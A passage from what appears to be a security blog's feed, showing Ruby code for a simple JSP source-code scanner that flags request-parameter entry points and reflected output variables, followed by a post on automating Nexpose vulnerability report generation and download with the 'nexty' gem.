<p>The <em>find_attack_entrypoints</em> it is more interesting. It checks all the
possible read from the request. Remember that all the stuff coming from the
user can be tampered ando so parameters from the HTTP request that they must be
considered as possible attack entrypoints.</p>

<p>A clever implementation it will consider stuff read from a POST and eventually
other APIs that it can be used to read data in input (File, Database, &#8230;).</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">find_attack_entrypoints</span>
</span><span class='line'>  <span class="n">ret</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>  <span class="vi">@lines</span><span class="o">.</span><span class="n">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">l</span><span class="p">,</span> <span class="n">i</span><span class="o">|</span>
</span><span class='line'>    <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s2">&quot;C*&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;U*&quot;</span><span class="p">)</span>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/request.getParameter\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/request.getParameterValues\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/request.getAttribute\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span> <span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">ret</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The _find_reflected_vars_ is the output scanning part of the engine. It
checks all the writing the Jsp page makes as output looking for variables. Of
course it doesn&#8217;t check for custom written validations, so you have to pay
attention in understanding what this routine gives you as output.</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nf">find_reflected_vars</span>
</span><span class='line'>  <span class="n">ret</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>  <span class="vi">@lines</span><span class="o">.</span><span class="n">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">l</span><span class="p">,</span> <span class="n">i</span><span class="o">|</span>
</span><span class='line'>    <span class="c1"># &lt;%=avar%&gt; #=&gt; /&lt;%=(\w+)%&gt;/.match(a)[1] = avar</span>
</span><span class='line'>    <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s2">&quot;C*&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;U*&quot;</span><span class="p">)</span>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/&lt;%=(.*?)%&gt;/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span><span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/out\.println\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span><span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/out\.print\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span><span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/out\.write\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span><span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="sr">/out\.writeln\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:line</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="ss">:var</span><span class="o">=&gt;</span> <span class="n">m</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">trim</span><span class="p">}</span> <span class="k">unless</span> <span class="n">m</span><span class="o">.</span><span class="n">nil?</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">ret</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Then the runtime bit it will disappear when I&#8217;ll merge the engine into sake and codesake.</p>

<figure class='code'><figcaption><span>a rough Sake::Jsp implementation</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">raise</span> <span class="s2">&quot;Missing filename.&quot;</span> <span class="k">if</span> <span class="no">ARGV</span><span class="o">[</span><span class="mi">0</span><span class="o">].</span><span class="n">nil?</span>
</span><span class='line'>
</span><span class='line'><span class="n">jsp</span> <span class="o">=</span> <span class="no">Sake</span><span class="o">::</span><span class="no">Jsp</span><span class="o">.</span><span class="n">new</span><span class="p">({</span><span class="ss">:filename</span><span class="o">=&gt;</span><span class="no">ARGV</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">})</span>
</span><span class='line'><span class="n">jsp</span><span class="o">.</span><span class="n">sake_it</span>
</span><span class='line'>
</span><span class='line'><span class="n">jsp</span><span class="o">.</span><span class="n">results</span><span class="o">[</span><span class="ss">:import</span><span class="o">].</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">res</span><span class="o">|</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="s2">&quot;Imported package: </span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:package</span><span class="o">]</span><span class="si">}</span><span class="s2">@</span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:line</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">color</span><span class="p">(</span><span class="ss">:white</span><span class="p">)</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'><span class="n">jsp</span><span class="o">.</span><span class="n">results</span><span class="o">[</span><span class="ss">:reflected</span><span class="o">].</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">res</span><span class="o">|</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="s2">&quot;Reflected variable found: </span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:var</span><span class="o">]</span><span class="si">}</span><span class="s2">@</span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:line</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">color</span><span class="p">(</span><span class="ss">:red</span><span class="p">)</span> <span class="k">unless</span> <span class="no">Sake</span><span class="o">::</span><span class="no">Jsp</span><span class="o">.</span><span class="n">is_false_positive?</span><span class="p">(</span><span class="n">res</span><span class="o">[</span><span class="ss">:var</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="s2">&quot;User should not be able to tamper: </span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:var</span><span class="o">]</span><span class="si">}</span><span class="s2">@</span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:line</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">color</span><span class="p">(</span><span class="ss">:yellow</span><span class="p">)</span> <span class="k">if</span> <span class="no">Sake</span><span class="o">::</span><span class="no">Jsp</span><span class="o">.</span><span class="n">is_false_positive?</span><span class="p">(</span><span class="n">res</span><span class="o">[</span><span class="ss">:var</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="n">jsp</span><span class="o">.</span><span class="n">results</span><span class="o">[</span><span class="ss">:secrets</span><span class="o">].</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">res</span><span class="o">|</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="s2">&quot;Suspected sensitive string found: </span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:line</span><span class="o">]</span><span class="si">}</span><span class="s2">@</span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:line</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">color</span><span class="p">(</span><span class="ss">:white</span><span class="p">)</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="n">jsp</span><span class="o">.</span><span class="n">results</span><span class="o">[</span><span class="ss">:entrypoints</span><span class="o">].</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">res</span><span class="o">|</span>
</span><span class='line'>  <span class="nb">puts</span> <span class="s2">&quot;Variable read from request: </span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:var</span><span class="o">]</span><span class="si">}</span><span class="s2">@</span><span class="si">#{</span><span class="n">res</span><span class="o">[</span><span class="ss">:line</span><span class="o">]</span><span class="si">}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">color</span><span class="p">(</span><span class="ss">:red</span><span class="p">)</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<h2>Off by one</h2>

<p>Working on a source code scanning engine is really fun. You will learn a lot
about the target programming language and you learn a lot in terms of hacking
and source code assessment.</p>

<p>From the <a href="http://armoredcode.com/blog/untold-owasp-orizon-is-died-and-im-sad-of-it/">failing experience about Owasp Orizon</a>
I understood that writing a full featured source code parser is hard and
eventually useless.</p>

<p>There are so many variables that can influence the way a developer write a
piece of code that trying to understand them is a topic I leave for a sci-fi
fiction like <em>minority report</em>.</p>

<p>Source code review is a particular kind of security assessment that involves
creatitivy and that it requires a tool to help security specialist to
understand where he/she should look instead of telling <em>&#8220;I&#8217;m pretty sure, you
will find a cross site scripting here&#8221;</em>.</p>

<p>What do you think about this? Have you got different experience about source
code reviews?</p>

<p><strong>Don&#8217;t be shy, tell me your story</strong></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Use the Nexpose API to automate report generation and download]]></title>
    <link href="http://armoredcode.com/blog/use-the-nexpose-api-to-automate-report-generation-and-download/"/>
    <updated>2012-11-30T07:53:00+01:00</updated>
    <id>http://armoredcode.com/blog/use-the-nexpose-api-to-automate-report-generation-and-download</id>
    <content type="html"><![CDATA[<p>In <a href="http://armoredcode.com/blog/use-the-nexpose-api-to-add-a-search-by-ip-functionality-in-your-tools/">a previous post</a>
I talked about <a href="http://www.rapid7.com">Rapid7 Nexpose)</a> vulnerability assessment
tool and how you can write some ruby code to search a server by IP address.</p>

<p>Today I want to show you something I added to a rubygem I&#8217;m working on,
<a href="https://github.com/thesp0nge/nexty">nexty</a>. The idea is to give a command line
alternative to some GUI tasks if you need fresh data you want to grep, plot or
whatever.</p>

<!-- more -->


<h2>Something you can&#8217;t play well with the GUI: reports</h2>

<p>Nexpose is good and I&#8217;m pretty happy using it. However the web GUI reporting
functionality doesn&#8217;t satisfy me that much.</p>

<p>To fulfil my goals, I created a report template with the information I need to
estract and I created a scheduled report using that template to create a CSV
file every month.</p>

<p>I observed that:
* it seems report template information was lost during the time, so my
  scheduled report will generated with a basic default template after a
  successful save;
* if I add a Nexpose site I have to manually add to the report information.
  This manual task is something annoying that it can bring to errors and so on.
  I need to automate the whole process.</p>

<h2>Nexty::Report API</h2>

<p>This time I don&#8217;t cook any raw request using API documentation. I&#8217;ll create an
API on top to Nexpose native APIs.</p>

<p>If you look bin/nexty ruby command line utility in the
<a href="https://github.com/thesp0nge/nexty">nexty</a> repository, you&#8217;ll find there is a
&#8216;&#8211;report&#8217; command line flag that it will generate a report from a list of
Nexpose sites.</p>

<figure class='code'><figcaption><span>nexty binary command</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>  <span class="k">when</span> <span class="s1">&#39;--report&#39;</span>
</span><span class='line'>    <span class="n">fn</span> <span class="o">=</span> <span class="no">Nexty</span><span class="o">::</span><span class="no">Report</span><span class="o">.</span><span class="n">generate_from_a_list_of_sites</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="n">nsc</span><span class="p">)</span>
</span><span class='line'>    <span class="nb">puts</span> <span class="s2">&quot;Report saved: </span><span class="si">#{</span><span class="n">fn</span><span class="si">}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">color</span><span class="p">(</span><span class="ss">:white</span><span class="p">)</span>
</span><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The idea is to extract all Nexpose sites, saving them in a text file and then
use them to fill our report.</p>

<figure class='code'><figcaption><span>Nexty::Report.generate_from_a_list_of_sites</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">generate_from_a_list_of_sites</span><span class="p">(</span><span class="n">site_list</span><span class="o">=</span><span class="kp">nil</span><span class="p">,</span> <span class="n">nsc</span><span class="p">)</span>
</span><span class='line'>  <span class="n">sites</span><span class="o">=</span><span class="no">Nexty</span><span class="o">::</span><span class="no">Sites</span><span class="o">.</span><span class="n">load_from_file</span><span class="p">(</span><span class="n">site_list</span><span class="p">)</span>
</span><span class='line'>  <span class="n">s</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>  <span class="n">sites</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">site</span><span class="o">|</span>
</span><span class='line'>    <span class="n">s</span> <span class="o">&lt;&lt;</span> <span class="n">nsc</span><span class="o">.</span><span class="n">find_site_by_name</span><span class="p">(</span><span class="n">site</span><span class="p">)</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>  <span class="n">result</span> <span class="o">=</span> <span class="no">Nexty</span><span class="o">::</span><span class="no">Report</span><span class="o">.</span><span class="n">generate</span><span class="p">(</span><span class="n">nsc</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="p">{</span><span class="ss">:template</span><span class="o">=&gt;</span><span class="s2">&quot;my-default-template&quot;</span><span class="p">,</span> <span class="ss">:format</span><span class="o">=&gt;</span><span class="s1">&#39;csv&#39;</span><span class="p">,</span> <span class="ss">:filename</span><span class="o">=&gt;</span><span class="kp">nil</span><span class="p">,</span> <span class="ss">:scan_to_include</span><span class="o">=&gt;</span><span class="mi">4</span><span class="p">})</span>
</span><span class='line'>  <span class="no">Nexty</span><span class="o">::</span><span class="no">Report</span><span class="o">.</span><span class="n">download</span><span class="p">(</span><span class="n">result</span><span class="o">[</span><span class="ss">:url</span><span class="o">]</span><span class="p">,</span> <span class="n">result</span><span class="o">[</span><span class="ss">:filename</span><span class="o">]</span><span class="p">,</span> <span class="n">nsc</span><span class="p">)</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The Nexty::Report.generate is the routing handling all the dirty job. It
creates a report using a given template (a fruther improvement it will be
letting the user to specify this using a flag) loading a number of scans in the
scan history for all the sites loaded from the list.</p>

<figure class='code'><figcaption><span>Nexty::Report.generate</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">generate</span><span class="p">(</span><span class="n">nsc</span><span class="p">,</span> <span class="n">list</span><span class="p">,</span> <span class="n">options</span><span class="o">=</span><span class="p">{</span><span class="ss">:template</span><span class="o">=&gt;</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="ss">:filename</span><span class="o">=&gt;</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="ss">:format</span><span class="o">=&gt;</span><span class="s2">&quot;csv&quot;</span><span class="p">,</span> <span class="ss">:scan_to_include</span><span class="o">=&gt;</span><span class="mi">1</span><span class="p">})</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">options</span><span class="o">[</span><span class="ss">:filename</span><span class="o">]</span> <span class="o">=</span> <span class="s2">&quot;export_</span><span class="si">#{</span><span class="no">Time</span><span class="o">.</span><span class="n">now</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&quot;%Y%m%d%H%M%s&quot;</span><span class="p">)</span><span class="si">}</span><span class="s2">.csv&quot;</span> <span class="k">if</span> <span class="n">options</span><span class="o">[</span><span class="ss">:filename</span><span class="o">].</span><span class="n">nil?</span> <span class="ow">or</span> <span class="n">options</span><span class="o">[</span><span class="ss">:filename</span><span class="o">].</span><span class="n">empty?</span>
</span><span class='line'>  <span class="n">report</span> <span class="o">=</span> <span class="no">Nexpose</span><span class="o">::</span><span class="no">ReportConfig</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">nsc</span><span class="p">)</span>
</span><span class='line'>  <span class="n">report</span><span class="o">.</span><span class="n">set_name</span><span class="p">(</span><span class="n">options</span><span class="o">[</span><span class="ss">:filename</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>  <span class="n">report</span><span class="o">.</span><span class="n">set_template_id</span><span class="p">(</span><span class="n">options</span><span class="o">[</span><span class="ss">:template</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>  <span class="n">report</span><span class="o">.</span><span class="n">set_format</span><span class="p">(</span><span class="n">options</span><span class="o">[</span><span class="ss">:format</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">list</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span><span class='line'>    <span class="n">site_config</span> <span class="o">=</span> <span class="no">Nexpose</span><span class="o">::</span><span class="no">SiteConfig</span><span class="o">.</span><span class="n">new</span>
</span><span class='line'>    <span class="n">site_config</span><span class="o">.</span><span class="n">getSiteConfig</span><span class="p">(</span><span class="n">nsc</span><span class="p">,</span> <span class="n">item</span><span class="o">[</span><span class="ss">:site_id</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>    <span class="n">scan_history</span> <span class="o">=</span> <span class="n">nsc</span><span class="o">.</span><span class="n">site_scan_history</span><span class="p">(</span><span class="n">item</span><span class="o">[</span><span class="ss">:site_id</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>    <span class="n">scan_history</span><span class="o">.</span><span class="n">sort!</span> <span class="p">{</span> <span class="o">|</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="o">|</span> <span class="n">b</span><span class="o">[</span><span class="ss">:start_time</span><span class="o">]</span> <span class="o">&lt;=&gt;</span> <span class="n">a</span><span class="o">[</span><span class="ss">:start_time</span><span class="o">]</span><span class="p">}</span>
</span><span class='line'>    <span class="n">scan_history</span><span class="o">.</span><span class="n">take</span><span class="p">(</span><span class="n">options</span><span class="o">[</span><span class="ss">:scan_to_include</span><span class="o">]</span><span class="p">)</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="nb">scan</span><span class="o">|</span>
</span><span class='line'>      <span class="n">report</span><span class="o">.</span><span class="n">addFilter</span><span class="p">(</span><span class="s1">&#39;scan&#39;</span><span class="p">,</span> <span class="nb">scan</span><span class="o">[</span><span class="ss">:scan_id</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">report</span><span class="o">.</span><span class="n">saveReport</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">url</span> <span class="o">=</span> <span class="kp">nil</span>
</span><span class='line'>  <span class="k">while</span> <span class="ow">not</span> <span class="n">url</span>
</span><span class='line'>    <span class="n">url</span> <span class="o">=</span> <span class="n">nsc</span><span class="o">.</span><span class="n">report_last</span><span class="p">(</span><span class="n">report</span><span class="o">.</span><span class="n">config_id</span><span class="p">)</span>
</span><span class='line'>    <span class="nb">select</span><span class="p">(</span><span class="kp">nil</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="mi">10</span><span class="p">)</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">full_url</span><span class="o">=</span><span class="s2">&quot;https://</span><span class="si">#{</span><span class="n">nsc</span><span class="o">.</span><span class="n">host</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">nsc</span><span class="o">.</span><span class="n">port</span><span class="si">}#{</span><span class="n">url</span><span class="si">}</span><span class="s2">&quot;</span>
</span><span class='line'>
</span><span class='line'>  <span class="p">{</span><span class="ss">:url</span><span class="o">=&gt;</span><span class="n">full_url</span><span class="p">,</span> <span class="ss">:filename</span><span class="o">=&gt;</span><span class="n">options</span><span class="o">[</span><span class="ss">:filename</span><span class="o">]</span><span class="p">}</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p>As return value, the method prompts back the absolute URL you can grab the copy
of your report using either a browser or our gem with the &#8211;download option.</p>

<figure class='code'><figcaption><span>Nexty::Report.download</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">download</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">nsc</span><span class="p">)</span>
</span><span class='line'>  <span class="k">return</span> <span class="kp">nil</span> <span class="k">if</span> <span class="n">url</span><span class="o">.</span><span class="n">nil?</span> <span class="ow">or</span> <span class="n">url</span><span class="o">.</span><span class="n">empty?</span>
</span><span class='line'>  <span class="n">uri</span> <span class="o">=</span> <span class="no">URI</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span><span class='line'>  <span class="n">http</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">uri</span><span class="o">.</span><span class="n">host</span><span class="p">,</span> <span class="n">uri</span><span class="o">.</span><span class="n">port</span><span class="p">)</span>
</span><span class='line'>  <span class="n">http</span><span class="o">.</span><span class="n">use_ssl</span> <span class="o">=</span> <span class="kp">true</span>
